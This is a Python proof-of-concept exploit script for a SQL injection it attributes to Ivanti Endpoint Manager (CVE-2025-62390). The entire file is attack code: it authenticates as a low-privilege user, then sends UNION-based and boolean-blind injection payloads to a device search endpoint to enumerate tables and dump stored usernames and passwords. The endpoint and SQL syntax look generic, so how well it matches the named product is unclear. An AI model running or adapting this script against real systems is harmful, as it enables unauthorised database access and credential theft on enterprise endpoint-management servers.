# CVE-2025-62390 - Ivanti Endpoint Manager SQL Injection PoC
# Vulnerability: SQL Injection in Ivanti EPM before 2024 SU5
# CVSS: 6.5 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
import requests
import sys
TARGET_URL = "https://target-epm-server:8443"
USERNAME = "low_priv_user"
PASSWORD = "password123"
def login(session, base_url, username, password):
"""Authenticate to Ivanti EPM with valid credentials"""
login_url = f"{base_url}/api/auth/login"
payload = {
"username": username,
"password": password
}
resp = session.post(login_url, json=payload, verify=False)
if resp.status_code == 200:
token = resp.json().get("token")
session.headers.update({"Authorization": f"Bearer {token}"})
return True
return False
def exploit_sqli(session, base_url, injection_point, payload):
"""Exploit SQL injection at the identified endpoint"""
target_url = f"{base_url}/{injection_point}"
params = {"filter": payload}
resp = session.get(target_url, params=params, verify=False)
return resp.text
def union_based_extract(session, base_url):
"""UNION-based SQL injection to extract database contents"""
# Determine number of columns first
for i in range(1, 20):
cols = ",".join(["NULL"] * i)
payload = f"' UNION SELECT {cols}-- -"
result = exploit_sqli(session, base_url, "api/devices/search", payload)
if "error" not in result.lower():
print(f"[+] Number of columns: {i}")
break
# Extract database version and current user
payload = "' UNION SELECT NULL,@@version,current_user(),database()-- -"
result = exploit_sqli(session, base_url, "api/devices/search", payload)
print(f"[+] Database info: {result}")
# Extract table names
payload = (
"' UNION SELECT NULL,group_concat(table_name),NULL,NULL "
"FROM information_schema.tables WHERE table_schema=database()-- -"
)
result = exploit_sqli(session, base_url, "api/devices/search", payload)
print(f"[+] Tables: {result}")
# Extract sensitive data (e.g., user credentials)
payload = (
"' UNION SELECT NULL,group_concat(username,0x3a,password),NULL,NULL "
"FROM users-- -"
)
result = exploit_sqli(session, base_url, "api/devices/search", payload)
print(f"[+] User credentials: {result}")
def boolean_blind_sqli(session, base_url, injection_point):
"""Boolean-based blind SQL injection for data extraction"""
# Test if the parameter is vulnerable
true_payload = "' AND 1=1-- -"
false_payload = "' AND 1=2-- -"
true_resp = exploit_sqli(session, base_url, injection_point, true_payload)
false_resp = exploit_sqli(session, base_url, injection_point, false_payload)
if len(true_resp) != len(false_resp):
print("[+] Boolean-based blind SQL injection confirmed")
# Extract database name character by character
db_name = ""
for pos in range(1, 50):
for c in range(32, 127):
payload = f"' AND ASCII(SUBSTRING(database(),{pos},1))={c}-- -"
resp = exploit_sqli(session, base_url, injection_point, payload)
if len(resp) == len(true_resp):
db_name += chr(c)
print(f"[+] Database name so far: {db_name}")
break
else:
break
print(f"[+] Final database name: {db_name}")
def main():
session = requests.Session()
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Attempting login as {USERNAME}...")
if not login(session, TARGET_URL, USERNAME, PASSWORD):
print("[-] Login failed. Valid credentials required.")
sys.exit(1)
print("[+] Login successful")
print("[*] Attempting UNION-based SQL injection...")
try:
union_based_extract(session, TARGET_URL)
except Exception as e:
print(f"[-] UNION-based failed: {e}")
print("[*] Trying boolean-based blind SQLi...")
boolean_blind_sqli(session, TARGET_URL, "api/devices/search")
if __name__ == "__main__":
main()